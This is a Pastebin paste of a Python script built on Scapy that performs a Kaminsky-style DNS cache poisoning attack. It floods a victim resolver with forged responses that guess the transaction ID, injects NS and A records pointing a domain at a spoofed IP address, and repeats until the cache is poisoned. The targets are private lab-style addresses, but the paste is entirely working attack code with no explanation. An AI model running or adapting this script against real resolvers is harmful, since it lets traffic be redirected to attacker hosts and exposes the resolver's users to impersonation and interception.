Advertisement
Guest User

Untitled

a guest
May 24th, 2015
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. import logging
  2. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  3. from scapy.all import *
  4. import scapy.sendrecv
  5. scapy.sendrecv.wrpcap = wrpcap
  6. import string
  7.  
  8. victim = '10.17.27.3'
  9. proxy = '10.17.27.1'
  10. spoof_ip = '10.17.27.2'
  11. poison_domain = '8bdf8e08a4c23aa89ff21690db4cc29b4c04577a2f18e129'
  12.  
  13. dns_port = 53
  14. query_source = 9999
  15.  
  16. no_of_packets = 4000
  17. time_to_live = 86400
  18.  
  19. def poison():
  20. prefix = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8))+'.'
  21.  
  22. query = Ether() / \
  23. IP(dst=victim) / \
  24. UDP(sport=1337,dport=dns_port) / \
  25. DNS(id=1337,rd=1,
  26. qd=DNSQR(qname=prefix+poison_domain)
  27. )
  28.  
  29. answer = Ether() / \
  30. IP(src=proxy,dst=victim) / \
  31. UDP(sport=dns_port,dport=query_source) / \
  32. DNS(id=range(0,no_of_packets),qr=1,rd=0,ra=0,aa=1,
  33. qd=DNSQR(qname=prefix+poison_domain),
  34. an=DNSRR(rrname=prefix+poison_domain,type='A',ttl=time_to_live,rdata=spoof_ip),
  35. ns=DNSRR(rrname=poison_domain,type='NS',ttl=time_to_live,rdata='ns.'+poison_domain),
  36. ar=DNSRR(rrname='ns.'+poison_domain,type='A',ttl=time_to_live,rdata=spoof_ip)
  37. )
  38. poisoned_packets = get_temp_file()
  39. wrpcap(poisoned_packets,answer)
  40. print "Poisoning..."
  41. sendp(query,verbose=0)
  42. sendfast(poisoned_packets)
  43. return prefix
  44.  
  45. def is_poisoned():
  46. query = IP(dst=victim) / \
  47. UDP(sport=1337,dport=dns_port) / \
  48. DNS(id=1337,rd=0,
  49. qd=DNSQR(qname=poison_domain)
  50. )
  51. response = sr1(query,verbose=0)
  52. return response[DNS].ancount==1
  53.  
  54. def sendfast(x, iface=None):
  55. iface = conf.iface
  56. argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ]
  57. argv.append("--topspeed")
  58. argv.append(x)
  59. try:
  60. devnull = open(os.devnull, 'w')
  61. subprocess.check_call(argv,stdout=devnull,stderr=devnull)
  62. devnull.close()
  63. except KeyboardInterrupt:
  64. log_interactive.info("Interrupted by user")
  65. except Exception,e:
  66. log_interactive.error("while trying to exec [%s]: %s" % (argv[0],e))
  67. finally:
  68. os.unlink(x)
  69.  
  70. while True:
  71. subdomain = poison()
  72. if is_poisoned():
  73. print "subdomain: " + subdomain
  74. break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement